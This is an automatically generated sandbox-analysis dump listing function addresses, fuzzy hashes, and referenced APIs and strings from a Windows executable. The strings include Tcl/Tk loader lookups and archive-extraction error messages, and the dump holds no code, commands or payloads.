Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4004e6f7831e6380f0c7a9c187e4f56c2fba6a50471e57e5591c0e9cd6f9eb67
Instruction ID: ce59c9994b5f71d833695011990374791a0f6eb99445a01e5c9b233584c0739d
Opcode Fuzzy Hash: 4004e6f7831e6380f0c7a9c187e4f56c2fba6a50471e57e5591c0e9cd6f9eb67
Instruction Fuzzy Hash: ECB16F7392878589EBA98F39C45023E3FA1E74AF48F2441B5CA4E873A5CF39D451E744

Function 00007FF67A61EC30 Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84378e74e3abe4b2e50357a3cae6d1c9f133da408f6cd3af500eca0aac5fc0e9
Instruction ID: c8c46cad4a370dc70f9b94ab200d5cc5e1b6c1324b45aa9df215508f20a839fa
Opcode Fuzzy Hash: 84378e74e3abe4b2e50357a3cae6d1c9f133da408f6cd3af500eca0aac5fc0e9
Instruction Fuzzy Hash: E281F177A2878187E774CB29D48077B6E91FB86B94F044275DA9D83BA9DE3DD040AB00

Function 00007FF67A626E70 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: e8b41cd469fbe05e0482bd49843250eff82881505c288498b80653d33dc5c17d
Instruction ID: 43d94f805d1d6c7e24d5c4a1ae255255500f77a821c20a2558a980fb98cdb2a9
Opcode Fuzzy Hash: e8b41cd469fbe05e0482bd49843250eff82881505c288498b80653d33dc5c17d
Instruction Fuzzy Hash: 6361EA63E3C28246FB64CE288450BBF6681EF40F60F1546B9D62DC76E5DE7DE804AB01

Function 00007FF67A6123A4 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c25247ae15e209603ec1042d904b34171e82564d0ea1a98edeaeffe93ffac02
Instruction ID: 53d04f9a4d4171df2584defb67d88ac49de913a84c3ed154794baf5434a2190f
Opcode Fuzzy Hash: 3c25247ae15e209603ec1042d904b34171e82564d0ea1a98edeaeffe93ffac02
Instruction Fuzzy Hash: 7B516077B28651C6E7248B39D05023A2BA2EB54F68F245171CA4D877F4DF3AE853E740

Function 00007FF67A611B84 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51394bb55acd0354c6b54540f03649d9a1ed653df3d59b65c3bbefa0f3d6b76a
Instruction ID: d2957368d7db850c1474ebc3fe4ae827c0f4460eb557ea0048a9eceedd80d3e0
Opcode Fuzzy Hash: 51394bb55acd0354c6b54540f03649d9a1ed653df3d59b65c3bbefa0f3d6b76a
Instruction Fuzzy Hash: 775186B7A38A5186E7248B29C04023A3BA1EB55F68F244175CE4D977B4DF3AE893D740

Function 00007FF67A611F94 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa1e8384b8f9ed93a652e40ff1fad70abf09339abefc5cb7d3385a95e3869c9a
Instruction ID: 9f8c1f7913c368774d300096c275671cc27ef93341de321cd5a15a363fe23938
Opcode Fuzzy Hash: fa1e8384b8f9ed93a652e40ff1fad70abf09339abefc5cb7d3385a95e3869c9a
Instruction Fuzzy Hash: 58518677A28651C6E7248B39C04023A3BA2EB54F68F244271CE5D877B4DF3AE843E740

Function 00007FF67A6121A0 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8494ecf62f03c1d3943c1d589e4c29644468de266d09ee5189585ab02985f6c2
Instruction ID: 1f287d1f2e609e0b2d4c7193a6888ee60d34d7735bce57d6d73a16e7bfca6d5c
Opcode Fuzzy Hash: 8494ecf62f03c1d3943c1d589e4c29644468de266d09ee5189585ab02985f6c2
Instruction Fuzzy Hash: D3515377A28651C6E7648B39C04063E2BA2EB59F58F244171CE4D977B8CF3EE852E740

Function 00007FF67A611980 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbef8b130d79a7ad9bd62ede7a83548c92a3f011a0e32d449ba268992e3839f7
Instruction ID: 487678d410da02578db53392fcb0074170fc944f3de05ecc86c81df956dff88b
Opcode Fuzzy Hash: cbef8b130d79a7ad9bd62ede7a83548c92a3f011a0e32d449ba268992e3839f7
Instruction Fuzzy Hash: B751A1B7A3865286E7248B29C04023A3FA1EB45F58F244179DE4C977B4DF3AE843E740

Function 00007FF67A611D90 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4595b9fb9fef9db7488d00d8b5cf28c2737f3b7c2e6c847ec82cdef55389f28
Instruction ID: a4ff384daeb397e64c0ceee9863b7e6588b385eb040801ae2e5b733a21550c72
Opcode Fuzzy Hash: d4595b9fb9fef9db7488d00d8b5cf28c2737f3b7c2e6c847ec82cdef55389f28
Instruction Fuzzy Hash: 9F5152B7A3865186E7248B29C04073A3BA1EB45F58F244175DE4D977B4CF3AE853E780

Function 00007FF67A616030 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
Instruction ID: ab6b1a0b9969d0b93a1faecf25c69b9ced7edfa54c19356867ce980a3473c042
Opcode Fuzzy Hash: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
Instruction Fuzzy Hash: AE41085FD3965A04E961891C87017BA2E809F12FA2D1852F4CDBE973F3CD0D758AD112

Function 00007FF67A61A530 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 7207d2828b21fefb3f30a877494a06cb20516b4d86b30a5eda9c739e5360529e
Instruction ID: 6bc66faa4d5cf779157d38f16617af17e07821c71c4fd2fa81d857f58d448154
Opcode Fuzzy Hash: 7207d2828b21fefb3f30a877494a06cb20516b4d86b30a5eda9c739e5360529e
Instruction Fuzzy Hash: 81411267B24A5482FF18CF6AD9541BAA7A1AB58FD4B489032DE4DC7B68DF3CC4429300

Function 00007FF67A617D98 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a995e5fc84bafd528f225b35c170f98e6cc3b92f214e8a834a3db34d2346d02
Instruction ID: 10a585fcc53d8db9bef0508c50a837ab833c09f5d0507259077457b7d249a09e
Opcode Fuzzy Hash: 9a995e5fc84bafd528f225b35c170f98e6cc3b92f214e8a834a3db34d2346d02
Instruction Fuzzy Hash: AA31B433B28B4281E764DF25A44017F6AD5AB84F90F044278EA5DD3BE6DF3CD801AB04

Function 00007FF67A629F40 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9053913a188439c949862f5252d0d96588d6a3198c5220388b8f4d277b857ee
Instruction ID: a4c4894426458b3cc688ca4e8af8ddf31aee67a8014021cacd1b26cf46d1d202
Opcode Fuzzy Hash: d9053913a188439c949862f5252d0d96588d6a3198c5220388b8f4d277b857ee
Instruction Fuzzy Hash: FAF068B27282558ADB95CF29A81262A7BD0F7487C0F908079E58DC3F14DE3C91519F04

Function 00007FF67A60C860 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfc8547ea6af2cfbec2828df990cd3d0a6205bb3f5e3ae253026f3a9dd74dc92
Instruction ID: 27c3c26a3b21d58f2c96bbaff22dc486e8febf35079ef3f60f46b38d3fb241b1
Opcode Fuzzy Hash: cfc8547ea6af2cfbec2828df990cd3d0a6205bb3f5e3ae253026f3a9dd74dc92
Instruction Fuzzy Hash: F4A00122A28802D0E6849B10A8544772660EB55B00B5001B1D00D814B0AF2CE581A204

Function 00007FF67A606F00 Relevance: 164.8, APIs: 31, Strings: 63, Instructions: 263libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF67A606F17
GetProcAddress.KERNEL32 ref: 00007FF67A606F56
GetProcAddress.KERNEL32 ref: 00007FF67A606F7B
GetProcAddress.KERNEL32 ref: 00007FF67A606FA0
GetProcAddress.KERNEL32 ref: 00007FF67A606FC8
GetProcAddress.KERNEL32 ref: 00007FF67A606FF0
GetProcAddress.KERNEL32 ref: 00007FF67A607018
GetProcAddress.KERNEL32 ref: 00007FF67A607040
GetProcAddress.KERNEL32 ref: 00007FF67A607068

Strings

Tcl_ConditionFinalize, xrefs: 00007FF67A6070D6
Failed to get address for Tcl_FindExecutable, xrefs: 00007FF67A606F8D
Tcl_Finalize, xrefs: 00007FF67A606FBE
Failed to get address for Tcl_DoOneEvent, xrefs: 00007FF67A606FB2
Tcl_NewStringObj, xrefs: 00007FF67A60723E
Failed to get address for Tcl_FinalizeThread, xrefs: 00007FF67A607002
Tcl_CreateThread, xrefs: 00007FF67A607036
Failed to get address for Tcl_SetVar2, xrefs: 00007FF67A6071E2
Failed to get address for Tcl_ConditionFinalize, xrefs: 00007FF67A6070F2
Failed to get address for Tcl_Free, xrefs: 00007FF67A60739A
Failed to get address for Tcl_ThreadAlert, xrefs: 00007FF67A607192
Failed to get address for Tcl_GetObjResult, xrefs: 00007FF67A6072D2
Failed to get address for Tcl_Finalize, xrefs: 00007FF67A606FDA
Failed to get address for Tcl_NewStringObj, xrefs: 00007FF67A60725A
Tcl_MutexLock, xrefs: 00007FF67A607086
Failed to get address for Tcl_MutexLock, xrefs: 00007FF67A6070A2
Failed to get address for Tcl_GetString, xrefs: 00007FF67A607232
Tcl_GetString, xrefs: 00007FF67A607216
Tcl_EvalEx, xrefs: 00007FF67A607306
Failed to get address for Tcl_ThreadQueueEvent, xrefs: 00007FF67A60716A
Tcl_FindExecutable, xrefs: 00007FF67A606F71
Failed to get address for Tcl_NewByteArrayObj, xrefs: 00007FF67A607282
Failed to get address for Tcl_MutexUnlock, xrefs: 00007FF67A6070CA
Tk_Init, xrefs: 00007FF67A6073A6
Failed to get address for Tcl_GetCurrentThread, xrefs: 00007FF67A60707A
Failed to get address for Tcl_CreateObjCommand, xrefs: 00007FF67A60720A
Failed to get address for Tcl_EvalEx, xrefs: 00007FF67A607322
Tcl_DeleteInterp, xrefs: 00007FF67A60700E
Tcl_NewByteArrayObj, xrefs: 00007FF67A607266
Tcl_GetObjResult, xrefs: 00007FF67A6072B6
Failed to get address for Tcl_ConditionWait, xrefs: 00007FF67A607142
Tcl_Init, xrefs: 00007FF67A606F10
Tcl_EvalFile, xrefs: 00007FF67A6072DE
Failed to get address for Tcl_DeleteInterp, xrefs: 00007FF67A60702A
Tcl_Free, xrefs: 00007FF67A60737E
Tcl_GetVar2, xrefs: 00007FF67A60719E
Tcl_ConditionNotify, xrefs: 00007FF67A6070FE
Tk_GetNumMainWindows, xrefs: 00007FF67A6073CE
Failed to get address for Tk_GetNumMainWindows, xrefs: 00007FF67A6073EA
Tcl_ThreadQueueEvent, xrefs: 00007FF67A60714E
Tcl_Alloc, xrefs: 00007FF67A607356
Tcl_MutexUnlock, xrefs: 00007FF67A6070AE
Failed to get address for Tcl_EvalObjv, xrefs: 00007FF67A60734A
Tcl_FinalizeThread, xrefs: 00007FF67A606FE6
Tcl_DoOneEvent, xrefs: 00007FF67A606F96
Failed to get address for Tcl_CreateInterp, xrefs: 00007FF67A606F68
Tcl_EvalObjv, xrefs: 00007FF67A60732E
Failed to get address for Tcl_CreateThread, xrefs: 00007FF67A607052
Failed to get address for Tcl_ConditionNotify, xrefs: 00007FF67A60711A
Tcl_SetVar2Ex, xrefs: 00007FF67A60728E
Failed to get address for Tcl_SetVar2Ex, xrefs: 00007FF67A6072AA
Failed to get address for Tcl_Alloc, xrefs: 00007FF67A607372
Tcl_SetVar2, xrefs: 00007FF67A6071C6
Tcl_ConditionWait, xrefs: 00007FF67A607126
Failed to get address for Tcl_EvalFile, xrefs: 00007FF67A6072FA
Tcl_CreateInterp, xrefs: 00007FF67A606F4C
Failed to get address for Tcl_Init, xrefs: 00007FF67A606F29
Tcl_GetCurrentThread, xrefs: 00007FF67A60705E
GetProcAddress, xrefs: 00007FF67A606F30
Tcl_CreateObjCommand, xrefs: 00007FF67A6071EE
Failed to get address for Tk_Init, xrefs: 00007FF67A6073C2
Failed to get address for Tcl_GetVar2, xrefs: 00007FF67A6071BA
Tcl_ThreadAlert, xrefs: 00007FF67A607176

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: AddressProc
String ID: Failed to get address for Tcl_Alloc$Failed to get address for Tcl_ConditionFinalize$Failed to get address for Tcl_ConditionNotify$Failed to get address for Tcl_ConditionWait$Failed to get address for Tcl_CreateInterp$Failed to get address for Tcl_CreateObjCommand$Failed to get address for Tcl_CreateThread$Failed to get address for Tcl_DeleteInterp$Failed to get address for Tcl_DoOneEvent$Failed to get address for Tcl_EvalEx$Failed to get address for Tcl_EvalFile$Failed to get address for Tcl_EvalObjv$Failed to get address for Tcl_Finalize$Failed to get address for Tcl_FinalizeThread$Failed to get address for Tcl_FindExecutable$Failed to get address for Tcl_Free$Failed to get address for Tcl_GetCurrentThread$Failed to get address for Tcl_GetObjResult$Failed to get address for Tcl_GetString$Failed to get address for Tcl_GetVar2$Failed to get address for Tcl_Init$Failed to get address for Tcl_MutexLock$Failed to get address for Tcl_MutexUnlock$Failed to get address for Tcl_NewByteArrayObj$Failed to get address for Tcl_NewStringObj$Failed to get address for Tcl_SetVar2$Failed to get address for Tcl_SetVar2Ex$Failed to get address for Tcl_ThreadAlert$Failed to get address for Tcl_ThreadQueueEvent$Failed to get address for Tk_GetNumMainWindows$Failed to get address for Tk_Init$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
API String ID: 190572456-2208601799
Opcode ID: 08011e4291223f8c8b87355f84bdba84e3d11561fc99f88d49761070ad3606f6
Instruction ID: 89713d98b32e699cb82e214f5ea46de6ffc36d886c6bfdb737bc86011586b99b
Opcode Fuzzy Hash: 08011e4291223f8c8b87355f84bdba84e3d11561fc99f88d49761070ad3606f6
Instruction Fuzzy Hash: DAE1DB6BA3EB03D1FA19CF14E85057723A1AF08F40B9454B5C95E863F4EFBCB588A215

Function 00007FF67A6012B0 Relevance: 17.6, APIs: 1, Strings: 9, Instructions: 136COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF67A602B30: MessageBoxW.USER32 ref: 00007FF67A602C05

_fread_nolock.LIBCMT ref: 00007FF67A601499

Strings

Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF67A601370
Failed to extract %s: failed to open archive file!, xrefs: 00007FF67A6012FE
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF67A6014BF
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF67A60132B
\, xrefs: 00007FF67A6013F5
fseek, xrefs: 00007FF67A601332
fread, xrefs: 00007FF67A6014C6
%s%c%s, xrefs: 00007FF67A6013EE
malloc, xrefs: 00007FF67A601377

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: Message_fread_nolock
String ID: %s%c%s$Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$\$fread$fseek$malloc
API String ID: 3065259568-2316137593
Opcode ID: a9099626a2381055e946f7f7aed1a8ba936185159eed76248da5dffe7bf1f363
Instruction ID: 98f0d49c752ed30786ca194df8621016af34360759f63cf3a24c8f31d96d5394
Opcode Fuzzy Hash: a9099626a2381055e946f7f7aed1a8ba936185159eed76248da5dffe7bf1f363
Instruction Fuzzy Hash: 5D518363A3868746EA24AB21E450AFB6394EF44F84F504071EE4DC7BF5EE7CE585A700

Function 00007FF67A6023F0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF67A60241B
SelectObject.GDI32 ref: 00007FF67A602462
DrawTextW.USER32 ref: 00007FF67A602485
SelectObject.GDI32 ref: 00007FF67A60249B
ReleaseDC.USER32 ref: 00007FF67A6024AB
MoveWindow.USER32 ref: 00007FF67A6024FB
MoveWindow.USER32 ref: 00007FF67A60253B
MoveWindow.USER32 ref: 00007FF67A60258E
MoveWindow.USER32 ref: 00007FF67A6025D6

Strings

P%, xrefs: 00007FF67A60246F

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: MoveWindow$ObjectSelect$DrawReleaseText
String ID: P%
API String ID: 2147705588-2959514604
Opcode ID: 7645c0c2d2fce03d3aab2d1fd33ee4a3925b53edade4cf92fedf68089910dc30
Instruction ID: e1bb2eadb82e4e82d1b4ee7d0520d3e4ace6e86a4ed7499e24a48104e70065b5
